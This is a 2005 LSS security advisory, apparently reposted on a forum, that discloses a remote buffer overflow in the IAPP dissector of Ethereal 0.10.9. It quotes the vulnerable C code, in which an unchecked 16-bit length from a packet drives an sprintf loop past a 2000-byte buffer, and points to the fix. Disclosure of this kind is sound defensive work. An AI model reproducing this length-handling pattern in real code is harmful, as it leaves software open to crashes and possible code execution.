ES dobiva advisorye prije bugtraqa ;)

LSS Security Advisory #LSS-2005-03-05


Title : Ethereal remote buffer overflow #2
Advisory ID : LSS-2005-03-05
Date : 10.03.2005
Advisory URL: : http://security.lss.hr/index.p...=details&ID=LSS-2005-03-05
Impact : DoS and possible code execution (not confirmed)
Risk level : Medium
Vulnerability type : Remote
Vendors contacted : 10th March, 2005


===[ Overview

Ethereal is an application used by network professionals for troubleshooting,
analysis and education, as well as the software and protocol development.
Ethereal provides all the features that protocol analyzer should have.
Moreover, there are several extra features which other products do not support.
The license is open source, what allows networking community experts to add
enhancements. Ethereal also supports different platforms, including Unix, Linux,
and Windows.

===[ Vulnerability

We have discovered another vulnerability in one of Ethereal dissectors. This time
problem is in IAPP dissector. It is possible to overflow static buffer with
length value taken from network packet. Vulnerability itself is in dissect_pdus()
Length is calculated from two guint8 variables in which first is shifted to left,
and second is added to it, so it can be up to 65535. That length is later used
in loops that can be abused to overflow static buffer 'textbuffer[2000]'.

static void
dissect_pdus(tvbuff_t *tvb, int offset, proto_tree *pdutree, int pdulen)
int len;
tvb_memcpy(tvb, (guint8 *)&pduhdr, offset, sizeof(e_pduhdr));
len = (((int)pduhdr.pdu_len_h) << 8) + pduhdr.pdu_len_l;

Vulnerable loop example in packet-iapp.c:
pduval_to_str(int type, int len, tvbuff_t *tvb, int offset)
mac = tvb_get_ptr(tvb, offset + 3, len);
for (z = 0; z < len; z++)
run += sprintf(run, "%s%02x", z ? ":" : "", mac[z]);

Remote code execution depends on overflowed buffer environment, and maybe it
could be possible, but wasn't further investigated.

===[ Affected versions

All versions after IAPP dissector was added to CVS, including version 0.10.9.
PoC exploit for this vulnerability was tested with Ethereal 0.10.9 on Windows,
and Ethereal developer Guy Harris tested it on OS X.

===[ Fix

This vulnerability is fixed in latest Ethereal version 0.10.10, and can be
downloaded from http://www.ethereal.com/download.html.
